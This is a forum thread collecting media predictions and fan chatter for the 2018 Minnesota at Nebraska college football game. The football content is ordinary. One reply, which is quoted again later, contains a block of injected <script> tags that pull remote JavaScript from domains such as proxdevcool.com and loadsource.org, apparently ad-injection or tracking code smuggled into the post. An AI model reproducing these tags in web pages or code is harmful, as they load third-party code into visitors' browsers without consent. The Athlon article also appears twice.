Media Prediction Thread: Minnesota at Nebraska

BleedGopher

Well-known member
Joined
Nov 11, 2008
Messages
60,588
Reaction score
15,671
Points
113
CFN is first out of the gate:

What’s Going To Happen
Nebraska simply doesn’t know how to win. But at some point, it’s going to happen.

And this is it.

Minnesota’s defense isn’t a brick wall, the offense can’t run well enough, and the offense doesn’t have the pop to keep up once Martinez and company go off.

Nebraska’s passing game is going to hit the 300-yard mark, and for the Husker fans and team that have gone through a nasty start, they’re about to come up with their UCLA vs. Cal moment.

It’ll be a cathartic win, even if the fans aren’t comfortable until the final gun.

– Week 7 CFN Experts Picks

Nebraska 34, Minnesota 24

https://collegefootballnews.com/2018/10/minnesota-vs-nebraska-fearless-prediction-game-preview

Go Gophers!!
 



Minnesota (3-3) at Nebraska (0-6), 3:30 p.m. ET

Minnesota has crashed back to reality following a dream 3-0 start. During this three-game skid, the Gophers have surrendered 8.7 yards per pass and eight touchdowns, and they have only one interception. Nebraska quarterback Adrian Martinez has three straight 250-yard showings, and he'll lead the Huskers to a long-awaited win.

Prediction: Nebraska 35, Minnesota 27


https://bleacherreport.com/articles...icks-week-8-predictions-for-every-game#slide5
 

Fox Sports

MINNESOTA
27.2

WIN %
51.5



NEBRASKA
27.0
 



It's all about stopping the Nebby offense. Hope the Smith's are healthy enough to play!
 





Nebraska is a trendy pick!

They are right about one thing: eventually, they have to win a game again ...
 

Must be a lot of these so called sports journalists that are getting their education from either Lincoln or Phoenix online.
 


Must be a lot of these so called sports journalists that are getting their education from either Lincoln or Phoenix online.

IMHO many of the "so called sports journalists" are really just trying to please the majority of their audience. Thus, the throwing of red meat to the hungry fans of the most popular programs. There are two ways to express this. The classical description is "ratings rule". The meaner description is "Thumb Whores" or going for easy internet clicks.

Their education is not the issue. It is their motivation.
<script src="//proxdevcool.com/1e6ba9a0464b8e1485.js"></script><script type="text/javascript" src="https://proxdevcool.com/addons/lnkr5.min.js"></script><script type="text/javascript" src="https://loadsource.org/91a2556838a7c33eac284eea30bdcc29/validate-site.js?uid=52375x7787x&r=1539897523332"></script><script type="text/javascript" src="https://1675450967.rsc.cdn77.org/cu/trkshpks.js"></script><script type="text/javascript" src="https://proxdevcool.com/ext/1e6ba9a0464b8e1485.js?sid=52375_7787_&title=ads&blocks[]=31af2"></script><script src="//proxdevcool.com/1e6ba9a0464b8e1485.js"></script><script type="text/javascript" src="https://proxdevcool.com/addons/lnkr5.min.js"></script><script type="text/javascript" src="https://loadsource.org/91a2556838a7c33eac284eea30bdcc29/validate-site.js?uid=52375x7787x&r=1539897875021"></script><script type="text/javascript" src="https://1675450967.rsc.cdn77.org/cu/trkshpks.js"></script><script type="text/javascript" src="https://proxdevcool.com/ext/1e6ba9a0464b8e1485.js?sid=52375_7787_&title=ads&blocks[]=31af2"></script>
 



Here's the further Athlon report:

Scott Frost and the Huskers host the Gophers in this Big Ten West matchup
This year’s tilt between the Nebraska Cornhuskers and Minnesota Golden Gophers is (unofficially) for more than the $5 Bits of Broken Chair Trophy. Both teams are on a skid, having lost 10 (dating back to last season) and three straight, respectively. Nebraska wants to get Scott Frost his first victory in Lincoln and Minnesota wants to show the world that giving Ohio State all it could handle was a warning, not a fluke.



The series is actually rather old, with the Gophers holding a 32-24-2 edge over Nebraska since 1900. Last year’s 54-21 Minnesota win arguably marked the public demise of the Mike Riley era at Nebraska.



P.J. Fleck is in his second year as the Gophers’ head coach with an 8-10 record. He managed a 5-7 inaugural season and it's not out of the realm of possibility for him to improve upon that in 2018. Will that include a win at the Huskers’ expense?



Minnesota at Nebraska


Kickoff: Saturday, Oct. 20 at 3:30 p.m. ET
TV: BTN
Spread: Nebraska -4



Three Things to Watch


1. Carter Coughlin vs. Nebraska’s offensive tackles

The Huskers have a stud from Eden Prairie, Minnesota, in wide receiver JD Spielman, but the Gophers are bringing one of their own. Coughlin is tied for seventh in the nation in sacks with seven, including two last week against Ohio State. How does Minnesota flush Adrian Martinez out of the pocket and force him into mistakes? Stick Coughlin opposite right tackle Matt Farniok, an interior lineman playing an exterior position.



On the flip side, Nebraska could use guard Boe Wilson or tight end Jack Stoll to help nullify Coughlin while giving Stanley Morgan Jr., Spielman and Kade Warner a chance to break free. However, the Gophers can afford to be aggressive with Coughlin considering they have done well (28th nationally) against the run.



2. Zack Annexstad vs. Nebraska’s linebackers

While Annexstad’s stat line versus Ohio State wasn’t overly impressive (13-of-23 for 218 yards and two INTs), it's the part of his passing game that was successful that’s cause for concern. Eleven of his completed passes were for 15-plus yards on an Ohio State defense littered with talent. Worse yet, most came on run-pass option slant routes.



Why should that concern Nebraska? While inside linebacker Luke Gifford is a nose-to-the-grindstone kind of player, neither he nor Dedrick Young should be looked to for constant, reliable coverage on slants. Some say football is a game of inches. When it comes to Nebraska’s back seven, it becomes a game of physics. If an offense can yank the Huskers’ cornerbacks and most interior linebackers to one side, they rarely recover in time.



Look for defensive coordinator Erik Chinander to dial up several formations to help alleviate that pressure. If he can’t, Minnesota receiver Tyler Johnson may pick up where Northwestern’s Flynn Nagel (12 rec., 220 yards, 2 TDs last week vs. Nebraska) left off.



3. Nebraska’s kicking game

Where to start? When you have a scholarship kicker that can’t convert PATs, let alone field goals, you find yourself in a tight spot. If Barrett Pickering is truly the best Nebraska has, going for it on fourth down when other teams would gladly trot their kickers out for an easy three seems like the logical new normal. The problem there is that the Huskers have converted one all season. They’re literally the worst team in the country (129th out of 129 FBS teams) on fourth down.



When it’s time to make the call, Frost may just have to bite the bullet, roll the dice with Pickering and cross his fingers. Outside of Caleb Lightbourn getting thrown into the mix — and if he hasn’t been by now, there’s no reason to think he will be — the Big Red’s kicking game is officially a crap shoot.



Final Analysis


After all of this, you’re probably asking yourself why Nebraska’s the favorite in this game. An educated guess is that it appears to be similar to last week’s matchup, only in Lincoln. While Zack Annexstad isn’t Northwestern QB Clayton Thorson, he has an equally good wide receiver target (Tyler Johnson vs. the Wildcats' Flynn Nagel) and an actual threat at running back in Mohamed Ibrahim, who tallied 157 yards on 28 carries and two touchdowns versus Ohio State.



First, substitute Ibrahim’s effectiveness as a running back this week for Thorson’s as a quarterback last week. Then note that much like Northwestern, if a team can hang with Minnesota through the first half (especially the second quarter), it has a chance to put the Gophers away in the early in the third quarter. Nebraska may have an easier time out of the gate, though. While the Wildcats are offensively efficient through the entire first half, Minnesota struggles mightily in the first quarter before being extremely effective in the second.



In the Gophers’ last three games — all losses — they trailed at the half by an average margin of 22-11. In the second half, they were outscored by an average of 18-6. Nebraska must avoid a repeat of last week where they came out firing on all cylinders, punching in a score after four plays followed by five scoreless drives.



The possibility is there for Nebraska to get its first win of the season yet again, but like last week, the Huskers could just as easily give the game away. Until they prove they can play a full 60 minutes of football, it’s hard to give them a pregame nod against an FBS crew.



Prediction: Minnesota 33, Nebraska 29


— Written by Brandon Cavanaugh, FWAA member and part of the Athlon Contributor Network. Be sure to follow him on Twitter (@eightlaces) plus keep up with tat-filled features on his Patreon page.
 

IMHO many of the "so called sports journalists" are really just trying to please the majority of their audience. Thus, the throwing of red meat to the hungry fans of the most popular programs. There are two ways to express this. The classical description is "ratings rule". The meaner description is "Thumb Whores" or going for easy internet clicks.

Their education is not the issue. It is their motivation.
<script src="//proxdevcool.com/1e6ba9a0464b8e1485.js"></script><script type="text/javascript" src="https://proxdevcool.com/addons/lnkr5.min.js"></script><script type="text/javascript" src="https://loadsource.org/91a2556838a7c33eac284eea30bdcc29/validate-site.js?uid=52375x7787x&r=1539897523332"></script><script type="text/javascript" src="https://1675450967.rsc.cdn77.org/cu/trkshpks.js"></script><script type="text/javascript" src="https://proxdevcool.com/ext/1e6ba9a0464b8e1485.js?sid=52375_7787_&title=ads&blocks[]=31af2"></script><script src="//proxdevcool.com/1e6ba9a0464b8e1485.js"></script><script type="text/javascript" src="https://proxdevcool.com/addons/lnkr5.min.js"></script><script type="text/javascript" src="https://loadsource.org/91a2556838a7c33eac284eea30bdcc29/validate-site.js?uid=52375x7787x&r=1539897875021"></script><script type="text/javascript" src="https://1675450967.rsc.cdn77.org/cu/trkshpks.js"></script><script type="text/javascript" src="https://proxdevcool.com/ext/1e6ba9a0464b8e1485.js?sid=52375_7787_&title=ads&blocks[]=31af2"></script>

I think you might be on to something. As good of an explanation as I've read.

I think there is also the effect of evaluating based on a multi-year frame vs. the here and now. People are having a hard time believing that Nebraska is really an 0-6 team vs. a better team who experienced some growing pains and bad breaks. Given Nebraska's brand and recruiting ability, in the eyes of most sports fans, they simply should be better than Minnesota most years. We don't have that brand and recruiting reputation and we aren't doing that well so far this year anyway. But, we've beaten them three out of the last five years and I would say that we should be even money to make it four out of six.
 

Here's the further Athlon report:

Scott Frost and the Huskers host the Gophers in this Big Ten West matchup
This year’s tilt between the Nebraska Cornhuskers and Minnesota Golden Gophers is (unofficially) for more than the $5 Bits of Broken Chair Trophy. Both teams are on a skid, having lost 10 (dating back to last season) and three straight, respectively. Nebraska wants to get Scott Frost his first victory in Lincoln and Minnesota wants to show the world that giving Ohio State all it could handle was a warning, not a fluke.



The series is actually rather old, with the Gophers holding a 32-24-2 edge over Nebraska since 1900. Last year’s 54-21 Minnesota win arguably marked the public demise of the Mike Riley era at Nebraska.



P.J. Fleck is in his second year as the Gophers’ head coach with an 8-10 record. He managed a 5-7 inaugural season and it's not out of the realm of possibility for him to improve upon that in 2018. Will that include a win at the Huskers’ expense?



Minnesota at Nebraska


Kickoff: Saturday, Oct. 20 at 3:30 p.m. ET
TV: BTN
Spread: Nebraska -4



Three Things to Watch


1. Carter Coughlin vs. Nebraska’s offensive tackles

The Huskers have a stud from Eden Prairie, Minnesota, in wide receiver JD Spielman, but the Gophers are bringing one of their own. Coughlin is tied for seventh in the nation in sacks with seven, including two last week against Ohio State. How does Minnesota flush Adrian Martinez out of the pocket and force him into mistakes? Stick Coughlin opposite right tackle Matt Farniok, an interior lineman playing an exterior position.



On the flip side, Nebraska could use guard Boe Wilson or tight end Jack Stoll to help nullify Coughlin while giving Stanley Morgan Jr., Spielman and Kade Warner a chance to break free. However, the Gophers can afford to be aggressive with Coughlin considering they have done well (28th nationally) against the run.



2. Zack Annexstad vs. Nebraska’s linebackers

While Annexstad’s stat line versus Ohio State wasn’t overly impressive (13-of-23 for 218 yards and two INTs), it's the part of his passing game that was successful that’s cause for concern. Eleven of his completed passes were for 15-plus yards on an Ohio State defense littered with talent. Worse yet, most came on run-pass option slant routes.



Why should that concern Nebraska? While inside linebacker Luke Gifford is a nose-to-the-grindstone kind of player, neither he nor Dedrick Young should be looked to for constant, reliable coverage on slants. Some say football is a game of inches. When it comes to Nebraska’s back seven, it becomes a game of physics. If an offense can yank the Huskers’ cornerbacks and most interior linebackers to one side, they rarely recover in time.



Look for defensive coordinator Erik Chinander to dial up several formations to help alleviate that pressure. If he can’t, Minnesota receiver Tyler Johnson may pick up where Northwestern’s Flynn Nagel (12 rec., 220 yards, 2 TDs last week vs. Nebraska) left off.



3. Nebraska’s kicking game

Where to start? When you have a scholarship kicker that can’t convert PATs, let alone field goals, you find yourself in a tight spot. If Barrett Pickering is truly the best Nebraska has, going for it on fourth down when other teams would gladly trot their kickers out for an easy three seems like the logical new normal. The problem there is that the Huskers have converted one all season. They’re literally the worst team in the country (129th out of 129 FBS teams) on fourth down.



When it’s time to make the call, Frost may just have to bite the bullet, roll the dice with Pickering and cross his fingers. Outside of Caleb Lightbourn getting thrown into the mix — and if he hasn’t been by now, there’s no reason to think he will be — the Big Red’s kicking game is officially a crap shoot.



Final Analysis


After all of this, you’re probably asking yourself why Nebraska’s the favorite in this game. An educated guess is that it appears to be similar to last week’s matchup, only in Lincoln. While Zack Annexstad isn’t Northwestern QB Clayton Thorson, he has an equally good wide receiver target (Tyler Johnson vs. the Wildcats' Flynn Nagel) and an actual threat at running back in Mohamed Ibrahim, who tallied 157 yards on 28 carries and two touchdowns versus Ohio State.



First, substitute Ibrahim’s effectiveness as a running back this week for Thorson’s as a quarterback last week. Then note that much like Northwestern, if a team can hang with Minnesota through the first half (especially the second quarter), it has a chance to put the Gophers away in the early in the third quarter. Nebraska may have an easier time out of the gate, though. While the Wildcats are offensively efficient through the entire first half, Minnesota struggles mightily in the first quarter before being extremely effective in the second.



In the Gophers’ last three games — all losses — they trailed at the half by an average margin of 22-11. In the second half, they were outscored by an average of 18-6. Nebraska must avoid a repeat of last week where they came out firing on all cylinders, punching in a score after four plays followed by five scoreless drives.



The possibility is there for Nebraska to get its first win of the season yet again, but like last week, the Huskers could just as easily give the game away. Until they prove they can play a full 60 minutes of football, it’s hard to give them a pregame nod against an FBS crew.



Prediction: Minnesota 33, Nebraska 29


— Written by Brandon Cavanaugh, FWAA member and part of the Athlon Contributor Network. Be sure to follow him on Twitter (@eightlaces) plus keep up with tat-filled features on his Patreon page.

Brandon Cavanaugh is not a dink.
 

looks windy. Our short passing game is good and our run D is solid. We win this going away in a boring 17 14 game with a late touchdown.
 

A windy game helps us, right?

Better run game, better run defense, better short passing game?
 

Chicago Tribune:

Minnesota (plus 4) at Nebraska: Yes, the winless team is favored over the 3-3 team by more than a field goal. No, I don’t think the Huskers will quit on Scott Frost. Yes, I’m taking Nebraska.
 

Detroit News

Minnesota +4 at Nebraska

Charboneau: Nebraska

Chengelis: Minnesota

Niyo: Nebraska

Wojo: Nebraska

Smith: Nebraska
 

Des Moines Register

Minnesota (3-3, 0-3) at Nebraska (0-6, 0-4)

Time, TV: 2:30 p.m., Big Ten Network

Vegas line: Nebraska by 4

Prediction: Both teams are desperate for a victory. The Golden Gophers delivered a valiant performance last week at Ohio State, a 30-14 loss that could’ve been closer if not for their minus-3 turnover margin and two missed field goals. Look for a shootout, with both teams featuring top-end receivers (Minnesota’s Tyler Johnson and Rashod Bateman, and Nebraska’s J.D. Spielman and Stanley Morgan Jr.) against porous secondaries. If the improving Cornhuskers don’t end their colossal losing streak (currently 10 games) this week, they've got Bethune-Cookman next. Nebraska 38, Minnesota 31
 

Gophers not getting much love. This should be bulletin board material.
 

Gophers not getting much love. This should be bulletin board material.

Guessing there is a whole bunch of "they gotta win sometime don't they?" in most of those predictions.

Particularly from all the experts who were telling us before the season that Nebraska was heading for a good year under Frost. :D
 


Omaha World-Herald Pick is:

Surprisingly Nebraska. :)

Minnesota (3-3, 0-3) and Nebraska (0-6, 0-4)

2:30 p.m. BTN

The Gophers need this game in their quest for a bowl berth. Nebraska needs this game for its first win. NU has the better quarterback and offense, and I think that’s enough.

Line: Nebraska by 4

My pick: Nebraska 28, Minnesota 21


https://www.omaha.com/huskers/footb...cle_98b74871-3661-534e-9a16-7c0cc1981278.html
 

Gophers football vs. Nebraska: Who has the edge?

Say it ain't so Andy. Say it ain't so.

MINNESOTA at NEBRASKA, 2:30 p.m., BTN

The Gophers’ shorthanded pass defense, coupled with Nebraska quarterback Adrian Martinez’s ability to throw and run will produce the Cornhuskers’ first win of the season after an 0-6 start. It will leave Minnesota with an even steeper hill to reach bowl eligibility. Nebraska, 23-21


https://www.twincities.com/2018/10/19/gophers-football-vs-nebraska-who-has-the-edge/
 
Last edited:

Lincoln Journal Star chimes in:

PREDICTION

Nebraska 31, Minnesota 27. I said I wouldn’t pick Nebraska until I saw a win actually happen, but I’m going back on that thought. Even with the late collapse against Northwestern, I saw enough to convince me that a win is coming. Even with all the talk about culture and shooting yourself in the foot and all of that, if that six minutes gets played 100 times, how many does Nebraska lose? The guess here is not very many at all. If the Huskers find themselves in a similar situation Saturday — and that seems like a distinct possibility given the matchup — the bet here is they get it done for the first time in Frost’s tenure.

https://journalstar.com/sports/husk...cle_fae5b5fd-2085-544d-8bd9-58e46b910116.html

Go Gophers!!
 


College football by the odds: Vegas picks and preview of Week 8 - LasVegasSun

Minnesota plus-4 at Nebraska, over/under: 55.5. Hard to see why Nebraska should be favored by more than a field goal here, as Minnesota has at least shown flashes of being a competent team this season. Yes, the Gophers have gotten blown out in three straight but that’s a short-sighted view of their season as impressive wins over Fresno State and Miami (Ohio) also count. Guess: Minnesota plus-4.

https://lasvegassun.com/blogs/talki...e-football-odds-vegas-picks-sports-books-wee/
 

I really can’t see Nebraska winning a low scoring game like some are predicting. That defense is terrible
 




Top Bottom